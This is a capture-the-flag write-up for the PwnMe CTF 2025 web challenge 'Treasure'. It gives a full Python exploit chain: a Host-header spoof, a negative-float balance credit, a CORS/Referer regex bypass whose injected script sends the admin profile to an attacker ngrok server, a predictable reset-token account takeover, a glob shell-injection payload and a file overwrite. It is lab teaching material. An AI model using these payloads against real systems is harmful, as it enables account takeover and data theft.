Skip to main content
  1. Writeups/

PwnMe CTF 2025 (final): Treasure

2381 words·12 mins·
Fayred
Author
Fayred
I’m French, and I’m passionate about computers in general, and computer security in particular. A CTF enthusiast and a Bug Bounty novice, I’m primarily interested in learning, having fun, and sharing what I’ve learned.
Table of Contents

Statement
#

Try registering on the “Treasure” website, which is still under construction and try to obtain an item that is normally impossible to obtain.

Author: Fayred

Treasure.zip

Overview
#

For this web challenge, here are the provided source files:

Show file tree
.
├── cert.pem
├── docker-compose.yml
├── Dockerfile
├── entrypoint.sh
├── key.pem
├── main.py
├── requirements.txt
└── src
    ├── admin_data_uploaded
    │   └── bf8fdd545086e4e7.json
    ├── app.py
    ├── backup.sh
    ├── blueprints
    │   ├── api.py
    │   └── render.py
    ├── bot.py
    ├── create_admin.py
    ├── models
    │   ├── inventory.py
    │   ├── reset_token.py
    │   └── user.py
    ├── static
    │   └── img
    │       └── items
    │           ├── Nothing.webp
    │           ├── The Banner of Eternal Whispers.jpeg
    │           ├── The Banner of Lost Souls.jpeg
    │           ├── The Celestial Dominion's Banner.jpeg
    │           ├── The Eternal Flame's Standard.jpeg
    │           └── Village Banner.jpeg
    ├── templates
    │   ├── admin.html
    │   ├── base.html
    │   ├── index.html
    │   ├── inventory.html
    │   ├── login.html
    │   ├── navbar.html
    │   └── register.html
    └── utils.py

9 directories, 31 files

In short, this is a Flask app. Registration appears limited to localhost. Once logged in, you can drop items and view the inventory. The admin can upload files and trigger backups.

The flag is returned when a user obtains an item with impossible rarity, as shown in the statement and api.py.

api.py (L85-L86):

if item['rarity'] == 'impossible' and session.get('role') != 'admin':
    name = os.environ['FLAG']

Solution
#

The solution starts from the attack surface exposed by the application. We then proceed one step at a time, with each result opening access to the next primitive.

1. Map the application
#

The first objective is to identify the exposed surfaces and the controls separating a user from the probability file. The application initializes a SQLite database, creates an administrator account with a random password, and registers two blueprints:

app.py:

from flask import Flask
from flask_sqlalchemy import SQLAlchemy
import secrets

app = Flask(__name__)
app.config['SECRET_KEY'] = secrets.token_urlsafe(32)
app.config['SESSION_COOKIE_SAMESITE'] = 'None'
app.config['SESSION_COOKIE_SECURE'] = True
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config['ADMIN_PASSWORD'] = secrets.token_hex(32)
app.config['ADMIN_UPLOAD_FOLDER'] = 'src/admin_data_uploaded'
db = SQLAlchemy(app)

from .blueprints.render import render_bp
from .blueprints.api import api_bp

app.register_blueprint(render_bp, url_prefix='/')
app.register_blueprint(api_bp, url_prefix='/api')

from src.models.user import User
from src.models.inventory import Inventory
from src.models.reset_token import ResetToken
from src.create_admin import create_admin

with app.app_context():
    db.create_all()
    create_admin(username='admin', password=app.config['ADMIN_PASSWORD'])

In app.py, endpoints are split between the views in render.py, under /, and the API in api.py, under /api.

The available routes are:

  • /
  • /login
  • /register
  • /logout
  • /inventory
  • /admin
  • /api/drop
  • /api/inventory
  • /api/profile
  • /api/backup
  • /api/upload
  • /api/report
  • /api/reset_token
  • /api/change_password

The decorators define the access boundaries. /login, /register, /api/reset_token, and /api/change_password are restricted to visitors without a session through nologin_required. Among them, /register and /api/reset_token also require a local Host through localhost_required. Finally, /admin, /api/backup, and /api/upload are restricted to the administrator role by admin_required; the routes /, /logout, /inventory, /api/drop, /api/inventory, /api/profile, and /api/report merely require a session.

The map therefore highlights two intermediate objectives: first obtain a user account, then reach the administrator functions that can modify the drop data. The first barrier to examine is localhost_required.

2. Create an account remotely
#

Registration is decorated with localhost_required(). However, this check verifies neither the connection’s source address nor request.remote_addr: it only compares the HTTP Host header.

utils.py (L29-L35):

def localhost_required(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if request.headers.get('Host') not in ['127.0.0.1:5000', 'localhost:5000']:
            return f'Forbidden', 403
        return f(*args, **kwargs)
    return decorated_function

A remote request is therefore accepted by submitting the registration form to POST /register with Host: 127.0.0.1:5000. A normal POST /login with the same credentials then returns the session cookie.

The result is a valid user session. It grants access to /api/drop, but the initial balance of 20 dollars is not enough to buy a 100-dollar chest: the price calculation must now be manipulated.

3. Turn a purchase into a balance increase
#

The /api/drop route validates the number of chests with int(nb), yet uses the original value of nb to update the balance:

api.py (L45-L100):

Show drop route
@api_bp.route('/drop', methods=['GET', 'POST'])
@login_required
def drop():
    with open(os.environ['DROP_FILENAME'], 'r') as f:
        items = json.load(f).get('items')

    if request.method == 'GET':
        return jsonify({"chest_cost": CHEST_COST, "items": items})

    elif request.method == 'POST':
        user_id = session.get('user_id')
        balance = db.session.query(User).filter_by(id=user_id).first().balance

        data = request.get_json()
        nb = data.get('nb')

        if not nb:
            return jsonify({"error": "Missing number of chests."}), 400

        if int(nb) < 0:
            return jsonify({"error": "Cannot take less than 0."}), 400
        
        if int(nb) > 3:
            return jsonify({"error": "Cannot take more than 3."}), 400
        
        if balance < int(nb) * CHEST_COST:
            return jsonify({"error": "Not enough money."}), 400

        balance -= nb * CHEST_COST

        db.session.query(User).filter_by(id=user_id).update({'balance': balance})
        db.session.commit()

        items_dropped = drop_items(int(nb), items)

        for item in items_dropped:
            inventory_item = db.session.query(Inventory).filter_by(user_id=user_id, item_id=item['id']).first()
            if inventory_item:
                inventory_item.quantity += 1
            else:
                if item['rarity'] == 'impossible' and session.get('role') != 'admin':
                    name = os.environ['FLAG']
                else:
                    name = item['name']

                new_inventory_item = Inventory(
                    user_id=user_id,
                    item_id=item['id'],
                    name=name,
                    rarity=item['rarity'],
                    image=item['image']
                )
                db.session.add(new_inventory_item)
        db.session.commit()
        
        return jsonify({"items": items_dropped})

With nb = -0.999, all three validations see int(nb) == 0. In contrast, balance -= nb * CHEST_COST computes balance -= -0.999 * 100, crediting 99.9 dollars. drop_items(int(nb), items) then receives 0, so no item is drawn yet.

Type inconsistency

The validations use int(nb), but the balance calculation keeps the original floating-point value. The -0.999 payload is therefore validated as 0 while crediting almost 100 dollars.

The minimal request is an authenticated POST /api/drop with the JSON body {"nb": -0.999}.

After this credit, the user account can fund the final draw. The probabilities still need to be changed, which is an administrator-only operation.

4. Exfiltrate the administrator UUID through CORS
#

The bot in bot.py visits URLs submitted to /api/report with an administrator session. The /api/profile route exposes the current account’s UUID, among other data, and applies the following CORS configuration:

api.py (L34-41) and (L116-L139):

Show CORS and profile code
def cors_config(response):
    response.headers['Access-Control-Allow-Origin'] = request.headers.get('Origin', '')

    referer = urllib.parse.unquote(request.headers.get('Referer', ''))
    if re.search('^https?:\\/\\/localhost:5000\\/.*', referer, re.MULTILINE):
        response.headers['Access-Control-Allow-Credentials'] = 'true'

    return response

...

@api_bp.route('/profile', methods=['OPTIONS'])
def options_profile():
    response = make_response('', 204)
    return cors_config(response)

@api_bp.route('/profile', methods=['GET', 'POST'])
@login_required
def profile():
    if request.method == 'GET':
        user_id = session.get('user_id')
        user = db.session.query(User).filter_by(id=user_id).first()

        response = make_response(jsonify({
            'uuid': user.uuid, 
            'role': user.role, 
            'username': user.username, 
            'balance': user.balance,
        }))

        return cors_config(response)
    
    elif request.method == 'POST':
        response = make_response(jsonify({"success": "Profile updated."}))
        return cors_config(response)

The attacker-supplied origin is reflected in Access-Control-Allow-Origin. However, the response only allows credentials if the Referer, after urllib.parse.unquote, matches ^https?://localhost:5000/.* with the re.MULTILINE option.

The session cookie can be sent in this cross-site context:

app.py (L7-L8):

app.config['SESSION_COOKIE_SAMESITE'] = 'None'
app.config['SESSION_COOKIE_SECURE'] = True

JavaScript cannot set Referer directly. It can, however, request referrerPolicy: "unsafe-url" so that the full URL of the attacker’s page is sent. The script then moves the current URL to a path containing %0Ahttp://localhost:5000/. The server decodes %0A into a newline; because of re.MULTILINE, ^ can match the start of this second line. The check therefore accepts this fake localhost fragment and adds Access-Control-Allow-Credentials: true.

Browser-dependent bypass

Referrer-Policy: unsafe-url produces the expected behavior here with Chromium. The result is not identical across all browsers.

The page submitted to the bot through POST /api/report places the newline in its path before performing the authenticated read:

history.pushState(null, '', '%0Ahttp://localhost:5000/');
const response = await fetch('https://localhost:5000/api/profile',
    {referrerPolicy: 'unsafe-url', credentials: 'include'});
const profile = await response.json();

All that remains is to send profile to the attacker’s server.

The result contains the administrator’s uuid, role, username, and balance. The UUID is the decisive value needed to predict the reset token.

5. Take over the administrator account
#

Token generation contains neither a secret nor any randomness: it computes the SHA-1 hash of the exact concatenation of the username and uuid bytes.

utils.py (L37-L39):

def generate_reset_token(username, uuid):
    reset_token = hashlib.sha1(username.encode() + uuid.encode()).hexdigest()
    return reset_token

First, /api/reset_token must be called so that the corresponding token is stored in the database. This route is protected by the same localhost_required check, already bypassed with Host. /api/change_password then accepts the predicted token and replaces the password:

api.py (L212-235):

@api_bp.route('/change_password', methods=['POST'])
@nologin_required
def change_password():
    password = request.json.get('password')
    password_confirmation = request.json.get('password_confirmation')
    token = request.json.get('token')

    if password != password_confirmation:
        return jsonify({"error": "Passwords do not match."}), 400

    reset_token = db.session.query(ResetToken).filter_by(token=token).first()

    if not reset_token:
        return jsonify({"error": "Invalid reset token."}), 400 
    
    if reset_token.is_expired():
        return jsonify({"error": "Token has expired."}), 400

    db.session.query(User).filter_by(id=reset_token.user_id).update({
        'password': generate_password_hash(password)
    })
    db.session.commit()

    return jsonify({"success": "Password changed."})

The model sets the token’s expiration to two hours. Because /api/change_password does not delete it after use, the same token remains reusable until that deadline.

The minimal sequence is to call POST /api/reset_token with Host: 127.0.0.1:5000 and {"username": "admin"}, then compute SHA1("admin" + uuid). This digest becomes the token field sent to POST /api/change_password together with password and password_confirmation.

A login with admin and the new password now provides an administrator session. It opens /api/backup and /api/upload, which are required to target the configuration file.

6. Reveal the drop filename
#

The /api/backup route inserts the time parameter into a shell command. Its blacklist forbids almost every useful character, but still allows digits, $, and ?:

api.py (L141-150):

@api_bp.route('/backup', methods=['POST'])
@admin_required
def backup():
    t = request.json.get('time')
    if re.search(r'[A-Za-z!"#%&\'()*+,-./:;<=>@[\]^_`{|}~ \\]', t):
        return jsonify({"error": "Invalid time."}), 400

    output = os.popen(f'cd src/admin_data_uploaded && timeout {t}s ../backup.sh 2>&1').read()
    
    return jsonify({"output": output})

At startup, entrypoint.sh renames the supplied file to $(openssl rand -hex 8).json: its runtime name is therefore unknown, but it is always 21 characters long—16 hexadecimal characters followed by .json. In the constructed command, ????????????????????? is interpreted by the shell as a glob of that length and matches this random name. The trailing $ combines with the s appended by the timeout {t}s format: the shell expands the $s variable, which is empty in this environment, separating the glob from the suffix. timeout receives the expanded filename as its duration, and its error message, redirected to the output, contains that name. This primitive does not provide general command execution; it is precisely enough to disclose the JSON file.

It is enough to send POST /api/backup with the administrator session and the body {"time": "?????????????????????$"}. The name can be extracted from the response’s output field with the pattern [\w-]+\.json.

The administrator session and the exact filename now make it possible to overwrite the configuration actually read by /api/drop.

7. Replace the file and obtain the flag
#

The /api/upload endpoint writes a file into src/admin_data_uploaded. An authenticated multipart upload with the administrator session, using the disclosed name, therefore replaces the drop file with this content:

{"items": [
  {"id": 1337, "rarity": "impossible", "name": "The Celestial Dominion's Banner",
   "drop_rate": 100, "image": "The Celestial Dominion's Banner.jpeg"}
]}

Finally, the exploit must return to the user account’s session rather than opening the chest with the administrator session. A draw costs 100 dollars, which is now available thanks to step 3. When this user obtains the impossible item, the code replaces its name with os.environ['FLAG']; /api/inventory then exposes it.

With the user account’s session, POST /api/drop receives {"nb": 1}. A GET /api/inventory with that same session then reveals the flag in the name field of the item whose rarity is impossible.

Complete exploit
#

The final script assembles the seven primitives demonstrated above, from account creation through reading the flag:

Show complete exploit
# Treasure PoC

# pip install requests flask ngrok
# export your NGROK_AUTHTOKEN before running the script

import requests
import ngrok
from flask import Flask, request
import threading
import time
import hashlib
import re
import io
import warnings
from urllib3.exceptions import InsecureRequestWarning

warnings.simplefilter("ignore", InsecureRequestWarning)

HOST = 'https://172.19.0.2:5000'

username_ato = 'admin'
username = 'ctfplayer'
password = 'ctfplayer'

data = {}
csrf_end_event = threading.Event()

# Step 1: Sign up without being from localhost
def register(username, password):
    requests.post(HOST + '/register', 
        headers={'Host': '127.0.0.1:5000'}, # Bypass localhost_required()
        data={'username': username, 'password': password, 'password_confirmation': password}, 
        verify=False
    )

def login(username, password):
    login_request = requests.post(HOST + '/login',
        data={'username': username, 'password': password},
        allow_redirects=False,
        verify=False
    )
    return login_request.cookies['session']

# Step 2: Business Logic Error to earn money
def earn_money(session):
    requests.post(HOST + '/api/drop', 
        cookies={'session': session}, 
        json={'nb': -0.999},
        verify=False
    )

# Step 3: CSRF via CORS Misconfiguration with referer checker bypass 
def start_csrf_attack(session, url):
    def send_csrf():
        time.sleep(2)
        requests.post(HOST + '/api/report', 
            cookies={'session': session}, 
            json={'url': url + '/csrf'},
            verify=False
        )

    app = Flask(__name__)

    @app.route('/csrf')
    def csrf():
        return f"""
        <script>
            async function csrf(){{
                const response = await fetch("https://localhost:5000/api/profile", {{referrerPolicy: "unsafe-url", "credentials": "include"}});
                const data = await response.json();
                await fetch("{url}/exfiltration", {{
                    method: "POST",
                    headers: {{"Content-Type": "application/json"}},
                    body: JSON.stringify({{"data": data}})
                }});
            }}
            history.pushState(null, '', '%0Ahttp://localhost:5000/');
            csrf();
        </script>
        """
    
    @app.route('/exfiltration', methods=['POST'])
    def exfiltration():
        global data
        data = request.json.get('data')
        csrf_end_event.set()

        return 'Thanks!'

    threading.Thread(target=send_csrf, daemon=True).start()
    app.run(port=1337, debug=False)

# Step 4: Generate reset token via UUID leak by CSRF to ATO admin account
def ato(uuid, username, password):
    requests.post(HOST + '/api/reset_token', 
        headers={'Host': '127.0.0.1:5000'}, # Bypass localhost_required()
        json={"username": username},
        verify=False
    )
    requests.post(HOST + '/api/change_password',
        json={
            "password": password,
            "password_confirmation": password,
            "token": hashlib.sha1(username.encode() + uuid.encode()).hexdigest()
        },
        verify=False
    )

# Step 5: OS Command Injection which lead to json filename leak
def os_command_injection(admin_session):
    backup_req = requests.post(HOST + '/api/backup', 
        cookies={'session': admin_session}, 
        json={"time": "?????????????????????$"},
        verify=False
    )
    filename_leak = re.search(r'[\w-]+\.json', backup_req.json()['output']).group(0)
    return filename_leak

# Step 6: Upload and replace the json file with item rate drop for "impossible" rarity to 100%
def upload_file(admin_session, filename):
    data = """
        {
            "items": [
                {"id": 1337, "rarity": "impossible", "name": "The Celestial Dominion's Banner", "drop_rate": 100, "image": "The Celestial Dominion's Banner.jpeg"}
            ]
        }
        """

    file = io.BytesIO(data.encode('utf-8'))

    requests.post(HOST + '/api/upload', 
        cookies={'session': admin_session},
        files={'file': (filename, file, 'application/json')},
        verify=False
    )

# Step 7: Get the flag
def get_flag(session):
    requests.post(HOST + '/api/drop', 
        cookies={'session': session}, 
        json={'nb': 1},
        verify=False
    )
    inventory_req = requests.get(HOST + '/api/inventory', 
        cookies={'session': session},
        verify=False
    )

    flag = [_ for _ in inventory_req.json() if _['rarity']== 'impossible'][0]['name']
    return flag

if __name__ == '__main__':
    listener = ngrok.forward(1337, authtoken_from_env=True)
    url = listener.url()
    print(f"Ngrok: {url}\n")

    print(f"[+] Sign up with {username}:{password}")
    register(username, password)

    print(f"[+] Login with {username}:{password}")
    session = login(username, password)

    print("[+] Business Logic Error to Earn money")
    earn_money(session)

    print("[+] Start CSRF attack")
    threading.Thread(target=start_csrf_attack, args=(session, url), daemon=True).start()
    if csrf_end_event.wait(60):
        print(f"Data exfiltrate: {data}")

        print("[+] Account Take Over")
        ato(data['uuid'], username_ato, password)

        print(f"[+] Login with {username_ato}:{password}")
        session_ato = login(username_ato, password)

        print("[+] Leak .json filename")
        filename_leak = os_command_injection(session_ato)

        print(f"[+] Replace '{filename_leak}' to get 100% of chance")
        upload_file(session_ato, filename_leak)

        print(f"[+] Get the flag from '{username}'")
        flag = get_flag(session)
        print(f"\nFlag: {flag}")

Flag: PWNME{56837e80d608e85bb886f2b4b66a47c9}

Conclusion
#

Treasure is ultimately about composing fragile trust boundaries: Host opens local-only routes, the type inconsistency funds the draw, CORS and Referer disclose the UUID, the predictable token yields the administrator account, and the shell command reveals the file to replace. Each primitive unlocks the next until the drop is guaranteed. The final draw must still be made from the non-administrator account, the only context in which the item’s name becomes the flag.

References
#

Related